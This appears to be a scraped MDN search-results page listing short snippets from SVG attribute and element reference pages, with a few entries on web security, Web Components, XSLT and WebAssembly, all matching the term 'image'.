create a notification the example app creates a notification out of the available data — a game is picked at random, and the chosen one feeds the notification with the content: it sets the game's name as the title, mentioning the author in the body, and showing the image as an icon: function randomnotification() { var randomitem = math.floor(math.random()*games.length); var notiftitle = games[randomitem].name; var notifbody = 'created by '+games[randomitem].author+'.'; var notifimg = 'data/img/'+games[randomitem].slug+'.jpg'; var options = { body: notifbody, icon: notifimg } var notif = new notification(notiftitle, opt...
bias - SVG: Scalable Vector Graphics
WebSVGAttributebias
after applying the kernelmatrix of the <feconvolvematrix> element to the input image to yield a number and applied the divisor attribute, the bias attribute is added to each component.
class - SVG: Scalable Vector Graphics
WebSVGAttributeclass
"/> <circle class="circleclass" cx="40" cy="50" r="26"/> </svg> </body> </html> elements the following elements can use the class attribute: <a> <altglyph> <circle> <clippath> <defs> <desc> <ellipse> <feblend> <fecolormatrix> <fecomponenttransfer> <fecomposite> <feconvolvematrix> <fediffuselighting> <fedisplacementmap> <feflood> <fegaussianblur> <feimage> <femerge> <femorphology> <feoffset> <fespecularlighting> <fetile> <feturbulence> <filter> <font> <foreignobject> <g> <glyph> <glyphref> <image> <line> <lineargradient> <marker> <mask> <missing-glyph> <path> <pattern> <polygon> <polyline> <radialgradient> <rect> <stop> <svg> <switch> <symbol> <text> <textpath> <title> <tref> <tspan> <use> ...
clip-path - SVG: Scalable Vector Graphics
as a presentation attribute, it can be applied to any element but it has noticeable effects mostly on the following nineteen elements: <a>, <circle>, <clippath>, <ellipse>, <g>, <glyph>, <image>, <line>, <marker>, <mask>, <path>, <pattern>, <polygon>, <polyline>, <rect>, <svg>, <symbol>, <text>, <use> html,body,svg { height:100% } <svg viewbox="0 0 20 20" xmlns="http://www.w3.org/2000/svg"> <clippath id="myclip" clippathunits="objectboundingbox"> <circle cx=".5" cy=".5" r=".5" /> </clippath> <!-- top-left: apply a custom defined clipping path --> <rect x="1" y="1" width="8" height="8" stroke=...
clip - SVG: Scalable Vector Graphics
WebSVGAttributeclip
as a presentation attribute, it can be applied to any element but it has effect only on the following six elements: <svg>, <symbol>, <image>, <foreignobject>, <pattern>, <marker> html,body,svg { height:100% } <svg viewbox="0 0 20 10" xmlns="http://www.w3.org/2000/svg"> <!-- auto clipping --> <svg x="0" width="10" height="10" clip="auto"> <circle cx="5" cy="5" r="4" stroke="green" /> </svg> <!-- rect(top, right, bottom, left) clipping --> <svg x="10" width="10" height="10" clip="rect(1, 9, 8, 2)"> ...
color-interpolation - SVG: Scalable Vector Graphics
as a presentation attribute, it can be applied to any element but it only has an effect on the following 29 elements: <a>, <animate>, <animatecolor>, <circle>, <clippath>, <defs>, <ellipse>, <foreignobject>, <g>, <glyph>, <image>, <line>, <lineargradient>, <marker>, <mask>, <missing-glyph>, <path>, <pattern>, <polygon>, <polyline>, <radialgradient>, <rect>, <svg>, <switch>, <symbol>, <text>, <textpath>, <tspan>, and <use> usage notes value auto | srgb | linearrgb default value srgb animatable yes auto indicates that the user agent can choose either the srgb or linearrgb spa...
color-rendering - SVG: Scalable Vector Graphics
as a presentation attribute, it can be applied to any element but it only has an effect on the following 29 elements: <a>, <animate>, <animatecolor>, <circle>, <clippath>, <defs>, <ellipse>, <foreignobject>, <g>, <glyph>, <image>, <line>, <lineargradient>, <marker>, <mask>, <missing-glyph>, <path>, <pattern>, <polygon>, <polyline>, <radialgradient>, <rect>, <svg>, <switch>, <symbol>, <text>, <textpath>, <tspan>, and <use> html, body, svg { height: 100%; } <svg viewbox="0 0 480 200" xmlns="http://www.w3.org/2000/svg"> <defs> <radialgradient id="gradient" cx="0.5" cy="0.5" r="0.5" fx="0.35" fy="0.35" fr="5%"> ...
filterRes - SVG: Scalable Vector Graphics
the filterres attribute indicates the width and height of the intermediate images in pixels of a filter primitive.
k1 - SVG: Scalable Vector Graphics
WebSVGAttributek1
viewbox="0 0 420 200" xmlns="http://www.w3.org/2000/svg"> <filter id="composite1" x="0" y="0" width="100%" height="100%"> <fecomposite in2="sourcegraphic" operator="arithmetic" k1="1" k2="0" k3="0" k4="0" /> </filter> <filter id="composite2" x="0" y="0" width="100%" height="100%"> <fecomposite in2="sourcegraphic" operator="arithmetic" k1="10" k2="0" k3="0" k4="0" /> </filter> <image href="https://mdn.mozillademos.org/files/12668/mdn.svg" x="0" y="0" width="200" height="200" style="filter: url(#composite1);" /> <image href="https://mdn.mozillademos.org/files/12668/mdn.svg" x="0" y="0" width="200" height="200" style="filter: url(#composite2); transform: translatex(220px);" /> </svg> usage notes value <number> default value 0 ...
k2 - SVG: Scalable Vector Graphics
WebSVGAttributek2
viewbox="0 0 420 200" xmlns="http://www.w3.org/2000/svg"> <filter id="composite1" x="0" y="0" width="100%" height="100%"> <fecomposite in2="sourcegraphic" operator="arithmetic" k1="1" k2="1" k3="0" k4="0" /> </filter> <filter id="composite2" x="0" y="0" width="100%" height="100%"> <fecomposite in2="sourcegraphic" operator="arithmetic" k1="1" k2="10" k3="0" k4="0" /> </filter> <image href="https://mdn.mozillademos.org/files/12668/mdn.svg" x="0" y="0" width="200" height="200" style="filter: url(#composite1);" /> <image href="https://mdn.mozillademos.org/files/12668/mdn.svg" x="0" y="0" width="200" height="200" style="filter: url(#composite2); transform: translatex(220px);" /> </svg> usage notes value <number> default value 0 ...
k3 - SVG: Scalable Vector Graphics
WebSVGAttributek3
viewbox="0 0 420 200" xmlns="http://www.w3.org/2000/svg"> <filter id="composite1" x="0" y="0" width="100%" height="100%"> <fecomposite in2="sourcegraphic" operator="arithmetic" k1="1" k2="0" k3="1" k4="0" /> </filter> <filter id="composite2" x="0" y="0" width="100%" height="100%"> <fecomposite in2="sourcegraphic" operator="arithmetic" k1="1" k2="0" k3="10" k4="0" /> </filter> <image href="https://mdn.mozillademos.org/files/12668/mdn.svg" x="0" y="0" width="200" height="200" style="filter: url(#composite1);" /> <image href="https://mdn.mozillademos.org/files/12668/mdn.svg" x="0" y="0" width="200" height="200" style="filter: url(#composite2); transform: translatex(220px);" /> </svg> usage notes value <number> default value 0 ...
k4 - SVG: Scalable Vector Graphics
WebSVGAttributek4
iewbox="0 0 420 200" xmlns="http://www.w3.org/2000/svg"> <filter id="composite1" x="0" y="0" width="100%" height="100%"> <fecomposite in2="sourcegraphic" operator="arithmetic" k1="1" k2="0" k3="0" k4="0" /> </filter> <filter id="composite2" x="0" y="0" width="100%" height="100%"> <fecomposite in2="sourcegraphic" operator="arithmetic" k1="10" k2="0" k3="0" k4="0.3" /> </filter> <image href="https://mdn.mozillademos.org/files/12668/mdn.svg" x="0" y="0" width="200" height="200" style="filter: url(#composite1);" /> <image href="https://mdn.mozillademos.org/files/12668/mdn.svg" x="0" y="0" width="200" height="200" style="filter: url(#composite2); transform: translatex(220px);" /> </svg> usage notes value <number> default value 0 ...
kernelMatrix - SVG: Scalable Vector Graphics
vematrix> html, body, svg { height: 100%; } <svg viewbox="0 0 420 200" xmlns="http://www.w3.org/2000/svg"> <filter id="convolvematrix1" x="0" y="0" width="100%" height="100%"> <feconvolvematrix kernelmatrix="1 1 0 0 0 0 0 0 -1"/> </filter> <filter id="convolvematrix2" x="0" y="0" width="100%" height="100%"> <feconvolvematrix kernelmatrix="-1 0 0 0 0 0 0 0 1"/> </filter> <image xlink:href="//developer.mozilla.org/files/6457/mdn_logo_only_color.png" width="200" height="200" style="filter:url(#convolvematrix1);"/> <image xlink:href="//developer.mozilla.org/files/6457/mdn_logo_only_color.png" width="200" height="200" style="filter:url(#convolvematrix2); transform:translatex(220px);"/> </svg> usage notes value <list of numbers> defaul...
mode - SVG: Scalable Vector Graphics
WebSVGAttributemode
flood-color="seagreen" flood-opacity="1"/> <feblend in="sourcegraphic" in2="floodfill" mode="multiply"/> </filter> <filter id="blending2" x="0" y="0" width="100%" height="100%"> <feflood result="floodfill" x="0" y="0" width="100%" height="100%" flood-color="seagreen" flood-opacity="1"/> <feblend in="sourcegraphic" in2="floodfill" mode="color-dodge"/> </filter> <image xlink:href="//developer.mozilla.org/files/6457/mdn_logo_only_color.png" width="200" height="200" style="filter:url(#blending1);"/> <image xlink:href="//developer.mozilla.org/files/6457/mdn_logo_only_color.png" width="200" height="200" style="filter:url(#blending2); transform:translatex(220px);"/> </svg> usage notes value <blend-mode> default value normal...
onclick - SVG: Scalable Vector Graphics
WebSVGAttributeonclick
thirty-seven elements are using this attribute: <a>, <altglyph>, <animate>, <animatemotion>, <animatetransform>, <circle>, <defs>, <desc>, <ellipse>, <foreignobject>, <g>, <image>, <line>, <lineargradient>, <marker>, <metadata>, <mpath>, <path>, <pattern>, <polygon>, <polyline>, <radialgradient>, <rect>, <script>, <set>, <stop>, <style>, <svg>, <switch>, <symbol>, <text>, <textpath>, <title>, <tref>, <tspan>, <use>, <view> html, body, svg { height: 100%; margin: 0; } <svg viewbox="0 0 200 200" xmlns="http://www.w3.org/2000/svg"> <circle cx="100" cy="100" r="100" onclick="alert('you have clicked the circle.')" /> </svg> usage notes value <anything> default value none ...
opacity - SVG: Scalable Vector Graphics
WebSVGAttributeopacity
as a presentation attribute, it can be applied to any element but it has effect only on the following elements: <a>, <audio>, <canvas>, <circle>, <ellipse>, <foreignobject>, <g>, <iframe>, <image>, <line>, <marker>, <path>, <polygon>, <polyline>, <rect>, <svg>, <switch>, <symbol>, <text>, <textpath>, <tspan>, <use>, <unknown>, and <video> html, body, svg { height: 100%; } <svg viewbox="0 0 200 100" xmlns="http://www.w3.org/2000/svg"> <defs> <lineargradient id="gradient" x1="0%" y1="0%" x2="0" y2="100%"> <stop offset="0%" style="stop-color:skyblue;" /> <stop offset...
operator - SVG: Scalable Vector Graphics
arithmetic this value indicates that the source graphic defined in the in attribute and the destination graphic defined in the in2 attribute are combined using the following formula: result = k1*i1*i2 + k2*i1 + k3*i2 + k4 where: i1 and i2 indicate the corresponding pixel channel values of the input image, which map to in and in2 respectively, and k1,k2,k3,and k4 indicate the values of the attributes with the same name.
overflow - SVG: Scalable Vector Graphics
as a presentation attribute, it can be applied to any element but it has effect only on the following eight elements: <foreignobject>, <iframe>, <image>, <marker>, <pattern>, <symbol>, <svg>, and <text> html, body, svg { height: 100%; } <svg viewbox="0 0 200 30" xmlns="http://www.w3.org/2000/svg" overflow="auto"> <text y="20">this text is wider than the svg, so there should be a scrollbar shown.</text> </svg> usage notes value visible | hidden | scroll | auto default value visible animatable yes ...
pointer-events - SVG: Scalable Vector Graphics
the color to fit css requirements const fill = '#' + color.tostring(16).padstart(6,'0') // let's apply our color in the // element we actually clicked on e.target.style.fill = fill }) as a presentation attribute, it can be applied to any element but it is mostly relevant only on the following twenty-three elements: <a>, <circle>, <clippath>, <defs>, <ellipse>, <foreignobject>, <g>, <image>, <line>, <marker>, <mask>, <path>, <pattern>, <polygon>, <polyline>, <rect>, <svg>, <switch>, <symbol>, <text>, <textpath>, <tspan>, <use> usage notes value bounding-box | visiblepainted | visiblefill | visiblestroke | visible | painted | fill | stroke | all | none default value visiblepainted animatable yes for a detailed explanation of each possible...
preserveAlpha - SVG: Scalable Vector Graphics
; } <svg viewbox="0 0 420 200" xmlns="http://www.w3.org/2000/svg"> <filter id="convolvematrix1" x="0" y="0" width="100%" height="100%"> <feconvolvematrix kernelmatrix="1 -1 2 0 0 0 0 0 -2" preservealpha="true"/> </filter> <filter id="convolvematrix2" x="0" y="0" width="100%" height="100%"> <feconvolvematrix kernelmatrix="1 -1 2 0 0 0 0 0 -2" preservealpha="false"/> </filter> <image xlink:href="//developer.mozilla.org/files/6457/mdn_logo_only_color.png" width="200" height="200" style="filter:url(#convolvematrix1);"/> <image xlink:href="//developer.mozilla.org/files/6457/mdn_logo_only_color.png" width="200" height="200" style="filter:url(#convolvematrix2); transform:translatex(220px);"/> </svg> usage notes default value false value t...
radius - SVG: Scalable Vector Graphics
WebSVGAttributeradius
a negative or zero value disables the effect of the given filter primitive (i.e., the result is the filter input image).
rendering-intent - SVG: Scalable Vector Graphics
note: this method should be used for images.
result - SVG: Scalable Vector Graphics
WebSVGAttributeresult
seventeen elements are using this attribute: <feblend>, <fecolormatrix>, <fecomponenttransfer>, <fecomposite>, <feconvolvematrix>, <fediffuselighting>, <fedisplacementmap>, <fedropshadow>, <feflood>, <fegaussianblur>, <feimage>, <femerge>, <femorphology>, <feoffset>, <fespecularlighting>, <fetile>, and <feturbulence> html, body, svg { height: 100%; } <svg viewbox="0 0 220 220" xmlns="http://www.w3.org/2000/svg"> <filter id="displacementfilter"> <feturbulence type="turbulence" basefrequency="0.05" numoctaves="2" result="turbulence"/> <fedisplacementmap in2="turbulence" in="sourcegraphic" ...
scale - SVG: Scalable Vector Graphics
WebSVGAttributescale
when the value of this attribute is 0, this operation has no effect on the source image.
stdDeviation - SVG: Scalable Vector Graphics
a value of zero disables the effect of the given filter primitive (i.e., the result is the filter input image).
systemLanguage - SVG: Scalable Vector Graphics
35 elements are using this attribute: <a>, <altglyph>, <animate>, <animatecolor>, <animatemotion>, <animatetransform>, <audio>, <canvas>, <circle>, <clippath>, <cursor>, <defs>, <discard>, <ellipse>, <foreignobject>, <g>, <iframe>, <image>, <line>, <mask>, <path>, <pattern>, <polygon>, <polyline>, <rect>, <set>, <svg>, <switch>, <text>, <textpath>, <tref>, <tspan>, <unknown>, <use>, and <video> usage notes value <language-tags> default value none animatable no <language-tags> the value is a set of comma-separated tokens, each of which must be a language-tag value, as defined in bcp 47.
transform - SVG: Scalable Vector Graphics
as a presentation attribute, transform can be used by any element (in svg 1.1, only these 16 elements were allowed to use it: <a>, <circle>, <clippath>, <defs>, <ellipse>, <foreignobject>, <g>, <image>, <line>, <path>, <polygon>, <polyline>, <rect>, <switch>, <text>, and <use>).
unicode-bidi - SVG: Scalable Vector Graphics
the unicode-bidi attribute specifies how the accumulation of the background image is managed.
vector-effect - SVG: Scalable Vector Graphics
as a presentation attribute, it can be applied to any element but it has effect only on the following ten elements: <circle>, <ellipse>, <foreignobject>, <image>, <line>, <path>, <polygon>, <polyline>, <rect>, <text>, <textpath> <tspan>, and <use> usage notes value none | non-scaling-stroke | non-scaling-size | non-rotation | fixed-position default value none animatable yes none this value specifies that no vector effect shall be applied, i.e.
xlink:arcrole - SVG: Scalable Vector Graphics
for example, a resource might generically represent a "person," but in the context of a particular arc it might have the role of "mother" and in the context of a different arc it might have the role of "daughter." twentytwo elements are using this attribute: <a>, <altglyph>, <animate>, <animatecolor>, <animatemotion>, <animatetransform>, <color-profile>, <cursor>, <feimage>, <filter>, <font-face-uri>, <glyphref>, <image>, <lineargradient>, <mpath>, <pattern>, <radialgradient>, <script>, <set>, <textpath>, <tref>, <use> usage notes value <iri> default value none animatable no <iri> this value specifies an iri reference that identifies some resource that describes the intended property.
xlink:type - SVG: Scalable Vector Graphics
twentytwo elements are using this attribute: <a>, <altglyph>, <animate>, <animatecolor>, <animatemotion>, <animatetransform>, <color-profile>, <cursor>, <feimage>, <filter>, <font-face-uri>, <glyphref>, <image>, <lineargradient>, <mpath>, <pattern>, <radialgradient>, <script>, <set>, <textpath>, <tref>, and <use> usage notes value simple default value simple animatable no simple this value specifies that the referred resource is a simple link.
<a> - SVG: Scalable Vector Graphics
WebSVGElementa
d, aria-setsize, aria-sort, aria-valuemax, aria-valuemin, aria-valuenow, aria-valuetext, role usage notes categoriescontainer elementpermitted contentany number of the following elements, in any order:animation elementsdescriptive elementsshape elementsstructural elementsgradient elements<a>, <altglyphdef>, <clippath>, <color-profile>, <cursor>, <filter>, <font>, <font-face>, <foreignobject>, <image>, <marker>, <mask>, <pattern>, <script>, <style>, <switch>, <text>, <view> specifications specification status comment scalable vector graphics (svg) 2the definition of '<a>' in that specification.
<color-profile> - SVG: Scalable Vector Graphics
the <color-profile> element allows describing the color profile used for the image.
<defs> - SVG: Scalable Vector Graphics
WebSVGElementdefs
limit, stroke-opacity, stroke-width, transform, vector-effect, visibility usage notes categoriescontainer element, structural elementpermitted contentany number of the following elements, in any order:animation elementsdescriptive elementsshape elementsstructural elementsgradient elements<a>, <altglyphdef>, <clippath>, <color-profile>, <cursor>, <filter>, <font>, <font-face>, <foreignobject>, <image>, <marker>, <mask>, <pattern>, <script>, <style>, <switch>, <text>, <view> specifications specification status comment scalable vector graphics (svg) 2the definition of '<defs>' in that specification.
<feColorMatrix> - SVG: Scalable Vector Graphics
r' = r1 * r + r2 * g + r3 * b + r4 * a + r5 new red = [ r1 * old red ] + [ r2 * old green ] + [ r3 * old blue ] + [ r4 * old alpha ] + [ shift of r5 ] if, say, we want to make a completely black image redder, we can make the r5 a positive real number x, boosting the redness on every pixel of the new image by x.
<feDropShadow> - SVG: Scalable Vector Graphics
the svg <fedropshadow> filter primitive creates a drop shadow of the input image.
<feGaussianBlur> - SVG: Scalable Vector Graphics
the <fegaussianblur> svg filter primitive blurs the input image by the amount specified in stddeviation, which defines the bell-curve.
<feMorphology> - SVG: Scalable Vector Graphics
the <femorphology> svg filter primitive is used to erode or dilate the input image.
<fePointLight> - SVG: Scalable Vector Graphics
w.w3.org/1999/xlink"> <defs> <filter id="spotlight"> <fespecularlighting result="spotlight" specularconstant="1.5" specularexponent="80" lighting-color="#fff"> <fepointlight x="50" y="50" z="220"/> </fespecularlighting> <fecomposite in="sourcegraphic" in2="spotlight" operator="arithmetic" k1="0" k2="1" k3="1" k4="0"/> </filter> </defs> <image xlink:href="/files/6457/mdn_logo_only_color.png" x="10%" y="10%" width="80%" height="80%" style="filter:url(#spotlight);"/> </svg> result specifications specification status comment filter effects module level 1the definition of '<fepointlight>' in that specification.
<feSpotLight> - SVG: Scalable Vector Graphics
k"> <defs> <filter id="spotlight"> <fespecularlighting result="spotlight" specularconstant="1.5" specularexponent="4" lighting-color="#fff"> <fespotlight x="600" y="600" z="400" limitingconeangle="5.5" /> </fespecularlighting> <fecomposite in="sourcegraphic" in2="spotlight" operator="out" k1="0" k2="1" k3="1" k4="0"/> </filter> </defs> <image xlink:href="/files/6457/mdn_logo_only_color.png" x="10%" y="10%" width="80%" height="80%" style="filter:url(#spotlight);"/> </svg> result specifications specification status comment filter effects module level 1the definition of '<fespotlight>' in that specification.
<g> - SVG: Scalable Vector Graphics
WebSVGElementg
a-sort, aria-valuemax, aria-valuemin, aria-valuenow, aria-valuetext, role usage notes categoriescontainer element, structural elementpermitted contentany number of the following elements, in any order:animation elementsdescriptive elementsshape elementsstructural elementsgradient elements<a>, <altglyphdef>, <clippath>, <color-profile>, <cursor>, <filter>, <font>, <font-face>, <foreignobject>, <image>, <marker>, <mask>, <pattern>, <script>, <style>, <switch>, <text>, <view> specifications specification status comment scalable vector graphics (svg) 2the definition of '<g>' in that specification.
<glyph> - SVG: Scalable Vector Graphics
WebSVGElementglyph
usage context categoriestext content elementpermitted contentany number of the following elements, in any order:animation elementsdescriptive elementsshape elementsstructural elementsgradient elements<a>, <altglyphdef>, <clippath>, <color-profile>, <cursor>, <filter>, <font>, <font-face>, <foreignobject>, <image>, <marker>, <mask>, <pattern>, <script>, <style>, <switch>, <text>, <view> attributes global attributes core attributes presentation attributes class style specific attributes d horiz-adv-x vert-origin-x vert-origin-y vert-adv-y unicode glyph-name orientation arabic-form lang dom interface this element implements the svgglyphelement interface.
<marker> - SVG: Scalable Vector Graphics
WebSVGElementmarker
d, aria-setsize, aria-sort, aria-valuemax, aria-valuemin, aria-valuenow, aria-valuetext, role usage notes categoriescontainer elementpermitted contentany number of the following elements, in any order:animation elementsdescriptive elementsshape elementsstructural elementsgradient elements<a>, <altglyphdef>, <clippath>, <color-profile>, <cursor>, <filter>, <font>, <font-face>, <foreignobject>, <image>, <marker>, <mask>, <pattern>, <script>, <style>, <switch>, <text>, <view> specifications specification status comment svg markersthe definition of '<marker>' in that specification.
<mask> - SVG: Scalable Vector Graphics
WebSVGElementmask
nejoin, stroke-miterlimit, stroke-opacity, stroke-width, transform, vector-effect, visibility usage notes categoriescontainer elementpermitted contentany number of the following elements, in any order:animation elementsdescriptive elementsshape elementsstructural elementsgradient elements<a>, <altglyphdef>, <clippath>, <color-profile>, <cursor>, <filter>, <font>, <font-face>, <foreignobject>, <image>, <marker>, <mask>, <pattern>, <script>, <style>, <switch>, <text>, <view> specifications specification status comment css masking module level 1the definition of '<mask>' in that specification.
<missing-glyph> - SVG: Scalable Vector Graphics
usage context categoriesnonepermitted contentany number of the following elements, in any order:animation elementsdescriptive elementsshape elementsstructural elementsgradient elements<a>, <altglyphdef>, <clippath>, <color-profile>, <cursor>, <filter>, <font>, <font-face>, <foreignobject>, <image>, <marker>, <mask>, <pattern>, <script>, <style>, <switch>, <text>, <view> attributes global attributes core attributes presentation attributes class style specific attributes d horiz-adv-x vert-origin-x vert-origin-y vert-adv-y dom interface this element implements the svgmissingglyphelement interface.
<pattern> - SVG: Scalable Vector Graphics
WebSVGElementpattern
roke-width, transform, vector-effect, visibility xlink attributes most notably: xlink:title usage notes categoriescontainer elementpermitted contentany number of the following elements, in any order:animation elementsdescriptive elementsshape elementsstructural elementsgradient elements<a>, <altglyphdef>, <clippath>, <color-profile>, <cursor>, <filter>, <font>, <font-face>, <foreignobject>, <image>, <marker>, <mask>, <pattern>, <script>, <style>, <switch>, <text>, <view> specifications specification status comment scalable vector graphics (svg) 2the definition of '<pattern>' in that specification.
<svg> - SVG: Scalable Vector Graphics
WebSVGElementsvg
a-sort, aria-valuemax, aria-valuemin, aria-valuenow, aria-valuetext, role usage notes categoriescontainer element, structural elementpermitted contentany number of the following elements, in any order:animation elementsdescriptive elementsshape elementsstructural elementsgradient elements<a>, <altglyphdef>, <clippath>, <color-profile>, <cursor>, <filter>, <font>, <font-face>, <foreignobject>, <image>, <marker>, <mask>, <pattern>, <script>, <style>, <switch>, <text>, <view> specifications specification status comment scalable vector graphics (svg) 2the definition of '<svg>' in that specification.
<switch> - SVG: Scalable Vector Graphics
WebSVGElementswitch
usage context categoriescontainer elementpermitted contentany number of the following elements, in any order:animation elementsdescriptive elementsshape elements<a>, <foreignobject>, <g>, <image>, <svg>, <switch>, <text>, <use> attributes global attributes conditional processing attributes core attributes graphical event attributes presentation attributes class style externalresourcesrequired transform dom interface this element implements the svgswitchelement interface.
<symbol> - SVG: Scalable Vector Graphics
WebSVGElementsymbol
a-sort, aria-valuemax, aria-valuemin, aria-valuenow, aria-valuetext, role usage notes categoriescontainer element, structural elementpermitted contentany number of the following elements, in any order:animation elementsdescriptive elementsshape elementsstructural elementsgradient elements<a>, <altglyphdef>, <clippath>, <color-profile>, <cursor>, <filter>, <font>, <font-face>, <foreignobject>, <image>, <marker>, <mask>, <pattern>, <script>, <style>, <switch>, <text>, <view> note: a <symbol> element itself is not meant to be rendered.
<view> - SVG: Scalable Vector Graphics
WebSVGElementview
a view is a defined way to view the image, like a zoom level or a detail view.
Linking - SVG: Scalable Vector Graphics
WebSVGLinking
when svg documents are embedded within a parent html document using the tag: page1.html: <html> <body> <p>this is a svg button:</p> <object width="100" height="50" type="image/svg+xml" data="button.svg"/> </body> </html> button.svg: <?xml version="1.1" encoding="utf-8"?> <svg xmlns="http://www.w3.org/2000/svg"> <a xlink:href="page2.html" target="_top"> <g> <!-- button graphical elements here --> </g> </a> </svg> the specification says that the browser should navigate to the html document page2.html when the button graphics are clicked.
SVG animation with SMIL - SVG: Scalable Vector Graphics
by setting the value of the repeatcount attribute to indefinite, we indicate that the animation should loop forever, as long as the svg image exists.
Basic shapes - SVG: Scalable Vector Graphics
all the basic shapes are shown in the image to the right.
Basic Transformations - SVG: Scalable Vector Graphics
« previousnext » now we're ready to start distorting our beautiful images.
Gradients in SVG - SVG: Scalable Vector Graphics
more on that when we talk about images.
Referer header: privacy and security concerns - Web security
by the same logic, an image hosted on a third party side but embedded in your page could result in sensitive information being leaked to the third party.
Securing your site - Web security
you can ignore specific ips, restrict access to certain areas of website, protect different files, protect against image hotlinking, and a lot more.
Using custom elements - Web Components
this takes an image icon and a text string, and embeds the icon into the page.
Using shadow DOM - Web Components
this takes an image icon and a text string, and embeds the icon into the page.
XSLT elements reference - XSLT: Extensible Stylesheet Language Transformations
WebXSLTElement
for example, assume that a variable "image-dir" is defined as follows: <xsl:variable name="image-dir">/images</xsl:variable> the expression to be evaluated is placed inside curly brackets: <img src="{$image-dir}/mygraphic.jpg"/> this would result in the following: <img src="/images/mygraphic.jpg"/> the element annotations that follow include a description, a syntax listing, a list of required and optional attributes, a description o...
Web technology for developers
svg scalable vector graphics let you describe images as sets of vectors and shapes in order to allow them to scale smoothly regardless of the size at which they're drawn.
WebAssembly Concepts - WebAssembly
we have run into performance problems, however, when trying to use javascript for more intensive use cases like 3d games, virtual and augmented reality, computer vision, image/video editing, and a number of other domains that demand native performance (see webassembly use cases for more ideas).